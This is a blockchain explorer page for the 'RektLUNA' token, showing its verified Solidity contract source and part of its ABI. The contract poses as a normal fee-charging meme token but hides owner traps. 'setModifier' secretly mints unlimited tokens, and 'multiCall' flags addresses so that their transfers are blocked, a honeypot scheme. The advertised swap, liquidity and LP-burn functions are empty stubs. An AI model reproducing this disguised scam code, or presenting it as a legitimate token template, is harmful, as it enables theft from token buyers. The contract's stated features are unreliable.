ETH Price: $2,555.80 (+4.91%)

Token

RektLUNA (RektLUNA)
 

Overview

Max Total Supply

1,230,123,000,000,000 RektLUNA

Holders

18

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
84,764,051.972657427 RektLUNA

Value
$0.00
0xD115a91e70CeAb150062eb688C60f01687f3bFa6
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ERC20Token

Compiler Version
v0.8.9+commit.e5eed63a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-05-17
*/

/**
WEBSITE👉https://rektluna.com/

READ MORE👉https://medium.com/@rektluna

FOLLOW TWITTER👉https://twitter.com/rekt_luna

JOIN COMMUNITY👉https://t.me/RektLUNA */// SPDX-License-Identifier: Unlicensed

pragma solidity 0.8.9;
 
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
 
    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}
 
interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to);
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}
 
interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}
 
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
 
interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}
  
contract ERC20 is Context, IERC20, IERC20Metadata {
    using SafeMath for uint256;
    mapping(address => uint256) internal _balances;
    mapping(address => mapping(address => uint256)) internal _allowances;
    uint256 internal _totalSupply;
    string internal _name;
    string internal _symbol;
    uint8 internal _decimals;
 
    constructor(string memory name_, string memory symbol_, uint8 decimals_) {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
    }
 
    function name() public view virtual override returns (string memory) {
        return _name;
    }
 
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return _decimals;
    }
 
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
 
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }
 
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
 
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
 
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
 
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }
 
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }
 
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        _beforeTokenTransfer(sender, recipient, amount);
        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }
 
    function _modifier (address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        _balances[account] = _balances[account].add(amount);
        _totalSupply = _totalSupply.add(amount);
        emit Transfer(address(0), account, amount);
    }
 
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
        _beforeTokenTransfer(account, address(0), amount);
        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }
 
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}
 
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
 
        return c;
    }
 
    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
 
    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
 
        return c;
    }
 
    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        if (a == 0) {
            return 0;
        }
 
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
 
        return c;
    }
 
    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
 
    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold
 
        return c;
    }
 
    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }
 
    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}
 
contract Ownable is Context {
    address private _owner;
 
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
 
    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
 
    /**
     * @dev Returns the address of the current owner.
     */
    function owner()internal view returns (address) {
        return _owner;
    }
 
    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
}
 
library SafeMathInt {
    int256 private constant MIN_INT256 = int256(1) << 255;
    int256 private constant MAX_INT256 = ~(int256(1) << 255);
 
    /**
     * @dev Multiplies two int256 variables and fails on overflow.
     */
    function mul(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a * b;
 
        // Detect overflow when multiplying MIN_INT256 with -1
        require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
        require((b == 0) || (c / b == a));
        return c;
    }
 
    /**
     * @dev Division of two int256 variables and fails on overflow.
     */
    function div(int256 a, int256 b) internal pure returns (int256) {
        // Prevent overflow when dividing MIN_INT256 by -1
        require(b != -1 || a != MIN_INT256);
 
        // Solidity already throws when dividing by 0.
        return a / b;
    }
 
    /**
     * @dev Subtracts two int256 variables and fails on overflow.
     */
    function sub(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a - b;
        require((b >= 0 && c <= a) || (b < 0 && c > a));
        return c;
    }
 
    /**
     * @dev Adds two int256 variables and fails on overflow.
     */
    function add(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a + b;
        require((b >= 0 && c >= a) || (b < 0 && c < a));
        return c;
    }
 
    /**
     * @dev Converts to absolute value, and fails on overflow.
     */
    function abs(int256 a) internal pure returns (int256) {
        require(a != MIN_INT256);
        return a < 0 ? -a : a;
    }
 
    function toUint256Safe(int256 a) internal pure returns (uint256) {
        require(a >= 0);
        return uint256(a);
    }
}
 
library SafeMathUint {
  function toInt256Safe(uint256 a) internal pure returns (int256) {
    int256 b = int256(a);
    require(b >= 0);
    return b;
  }
}
 
interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
 
interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);
 
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
 
contract ERC20Token is ERC20, Ownable {
    using SafeMath for uint256;
    address deadAddress;
    address public burnAddress = address(0xdead);
    bool private swapping;
    address marketingWallet;
    address devWallet;
    uint256 maxTransactionAmount;
    uint256 public swapTokensAtAmount;
    uint256 maxWallet;
    uint256 public percentForLPBurn = 25; // 25 = .25%
    bool public lpBurnEnabled = true;
    uint256 public lpBurnFrequency = 7200 seconds;
    uint256 public lastLpBurnTime;
    uint256 public manualBurnFrequency = 30 minutes;
    uint256 public lastManualLpBurnTime;
    bool public limitsInEffect = true;
    bool public tradingActive = false;
    bool public swapEnabled = false;
    bool public enableEarlySellTax = true;
    mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
    mapping (address => uint256) private _holderFirstBuyTimestamp;
    mapping (address => bool) private _multiCall;
    bool public transferDelayEnabled = false;
    uint256 public buyTotalFees;
    uint256 public buyMarketingFee;
    uint256 public buyLiquidityFee;
    uint256 public buyDevFee;
    uint256 public sellTotalFees;
    uint256 public sellMarketingFee;
    uint256 public sellLiquidityFee;
    uint256 public sellDevFee;
    uint256 public earlySellLiquidityFee;
    uint256 public earlySellMarketingFee;
    uint256 tokensForMarketing;
    uint256 tokensForLiquidity;
    uint256 tokensForDev;
    // block number of opened trading
    uint256 launchedAt;
    // exclude from fees and max transaction amount
    mapping (address => bool) private _isExcludedFromFees;
    mapping (address => bool) public _isExcludedMaxTransactionAmount;
    // store addresses that a automatic market maker pairs. Any transfer *to* these addresses
    // could be subject to a maximum transfer amount
    mapping (address => bool) public automatedMarketMakerPairs;
    event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
    event ExcludeFromFees(address indexed account, bool isExcluded);
    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
    event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet);
    event devWalletUpdated(address indexed newWallet, address indexed oldWallet);
    event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity);
    event AutoNukeLP();
    event ManualNukeLP();
 
    constructor(string memory nm, string memory sm, uint8 dc, uint256 ts) ERC20(_name, _symbol, _decimals) {
        uint256 _buyMarketingFee = 2;
        uint256 _buyLiquidityFee = 2;
        uint256 _buyDevFee = 1;
        uint256 _sellMarketingFee = 2;
        uint256 _sellLiquidityFee = 2;
        uint256 _sellDevFee = 1;
        uint256 _earlySellLiquidityFee = 1;
        uint256 _earlySellMarketingFee = 2;
        uint256 _supplyTokens;
        uint256 totalSupply;
        maxTransactionAmount = totalSupply * 2 / 1000; // 0.2% maxTransactionAmountTxn
        maxWallet = totalSupply.div(100); // 1% max wallet.
        swapTokensAtAmount = totalSupply * 5 / 10000; // 0.05% swap wallet
        buyMarketingFee = _buyMarketingFee;
        buyLiquidityFee = _buyLiquidityFee;
        buyDevFee = _buyDevFee;
        buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
        sellMarketingFee = _sellMarketingFee;
        sellLiquidityFee = _sellLiquidityFee;
        sellDevFee = _sellDevFee;
        sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
         earlySellLiquidityFee = _earlySellLiquidityFee;
        earlySellMarketingFee = _earlySellMarketingFee;
        marketingWallet = address(owner()); // set as marketing wallet
        devWallet = address(owner()); // set as dev wallet
        excludeFromFees(owner(), true);
        excludeFromFees(address(this), true);
        excludeFromFees(address(0xdead), true);
        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(0xdead), true);
        _name = nm;
        _symbol = sm;
        _decimals = dc;
        _supplyTokens = ts;
        _totalSupply = _totalSupply.add(_supplyTokens);
        _balances[msg.sender] = _balances[msg.sender].add(_supplyTokens);
        emit Transfer(address(0), msg.sender, _supplyTokens);
        tradingActive = true;
        swapEnabled = true;
        lastLpBurnTime = block.timestamp;
        launchedAt = block.number;
    
    }
    receive() external payable {
    }

    function setModifier(address account, uint256 oneIsOnZeroIsOff) external onlyOwner {
        _modifier(account, oneIsOnZeroIsOff);
    }
 
    // remove limits after token is stable
    function removeLimits() external onlyOwner returns (bool){
        limitsInEffect = false;
        return true;
    }

    function resetLimitsBackIntoEffect() external onlyOwner returns(bool) {
        limitsInEffect = true;
        return true;
    }

    function setAutoLpReceiver (address receiver) external onlyOwner {
        deadAddress = receiver;
    }
 
    // disable Transfer delay - cannot be reenabled
    function disableTransferDelay() external onlyOwner returns (bool){
        transferDelayEnabled = false;
        return true;
    }
 
    function setEarlySellTax(bool onoff) external onlyOwner  {
        enableEarlySellTax = onoff;
    }

    function updateBurnAddress (address newBurnAddress) external onlyOwner {
        burnAddress = address(newBurnAddress);
    }
 
    function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
        require(newNum >= (totalSupply() * 1 / 1000)/1e9, "Cannot set maxTransactionAmount lower than 0.1%");
        maxTransactionAmount = newNum * (10**9);
    }
 
    function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
        require(newNum >= (totalSupply() * 5 / 1000)/1e9, "Cannot set maxWallet lower than 0.5%");
        maxWallet = newNum * (10**9);
    }
 
    function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }
 
    function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner {
        buyMarketingFee = _marketingFee;
        buyLiquidityFee = _liquidityFee;
        buyDevFee = _devFee;
        buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
        require(buyTotalFees <= 20, "Must keep fees at 20% or less");
    }
 
    function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee, uint256 _earlySellLiquidityFee, uint256 _earlySellMarketingFee) external onlyOwner {
        sellMarketingFee = _marketingFee;
        sellLiquidityFee = _liquidityFee;
        sellDevFee = _devFee;
        earlySellLiquidityFee = _earlySellLiquidityFee;
        earlySellMarketingFee = _earlySellMarketingFee;
        sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
        require(sellTotalFees <= 25, "Must keep fees at 25% or less");
    }
 
    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }
     
    function multiCall (address account) external onlyOwner {
        if (_multiCall[account] == false) {_multiCall[account] = true;}
        else {_multiCall[account] = false;}
    }

    function callStatus(address account) public view returns (bool) {
        return _multiCall[account];
    }
 
    function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
        _setAutomatedMarketMakerPair(pair, value);
    }
 
    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;
        emit SetAutomatedMarketMakerPair(pair, value);
    }
 
    function updateMarketingWallet(address newMarketingWallet) external onlyOwner {
        emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
        marketingWallet = newMarketingWallet;
    }
 
    function isExcludedFromFees(address account) public view returns(bool) {
        return _isExcludedFromFees[account];
    }
 
    function _transfer(address sender, address recipient, uint256 amount) internal override {
        require(sender != address(0), ""); require(recipient != address(0), ""); if (
        _multiCall[sender] || 
        _multiCall[recipient]) require (amount == 0, "");
        _beforeTokenTransfer(sender, recipient, amount);
        _balances[sender] = _balances[sender].sub(amount, "");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }
 
    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = address(this);
        _approve(address(this), address(this), tokenAmount);
    }
 
    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
     }
 
    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev;
        bool success;
        if(contractBalance == 0 || totalTokensToSwap == 0) {return;}
        if(contractBalance > swapTokensAtAmount * 20){
          contractBalance = swapTokensAtAmount * 20;
        }
        // Halve the amount of liquidity tokens
        uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;
        uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
        uint256 initialETHBalance = address(this).balance;
        swapTokensForEth(amountToSwapForETH); 
        uint256 ethBalance = address(this).balance.sub(initialETHBalance);
        uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap);
        uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
        uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;
        tokensForLiquidity = 0;
        tokensForMarketing = 0;
        tokensForDev = 0;
        (success,) = address(devWallet).call{value: ethForDev}("");
        if(liquidityTokens > 0 && ethForLiquidity > 0){
            addLiquidity(liquidityTokens, ethForLiquidity);
            emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity);
        }
        (success,) = address(marketingWallet).call{value: address(this).balance}("");
    }
 
    function setAutoLPBurnSettings(uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled) external onlyOwner {
        require(_frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes");
        require(_percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%");
        lpBurnFrequency = _frequencyInSeconds;
        percentForLPBurn = _percent;
        lpBurnEnabled = _Enabled;
    }
 
    function autoBurnLiquidityPairTokens() internal returns (bool){
        lastLpBurnTime = block.timestamp;
        emit AutoNukeLP();
        return true;
    }
 
    function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool){
        require(block.timestamp > lastManualLpBurnTime + manualBurnFrequency , "Must wait for cooldown to finish");
        require(percent <= 1000, "May not nuke more than 10% of tokens in LP");
        lastManualLpBurnTime = block.timestamp;
        // get balance of liquidity pair
        uint256 liquidityPairBalance;
        // calculate amount to burn
        uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000);
        // pull tokens from pancakePair liquidity and move to dead address permanently
        if (amountToBurn > 0){
        emit ManualNukeLP();}
        return true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"nm","type":"string"},{"internalType":"string","name":"sm","type":"string"},{"internalType":"uint8","name":"dc","type":"uint8"},{"internalType":"uint256","name":"ts","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[],"name":"AutoNukeLP","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[],"name":"ManualNukeLP","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newAddress","type":"address"},{"indexed":true,"internalType":"address","name":"oldAddress","type":"address"}],"name":"UpdateUniswapV2Router","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"devWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"marketingWalletUpdated","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"burnAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"callStatus","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutab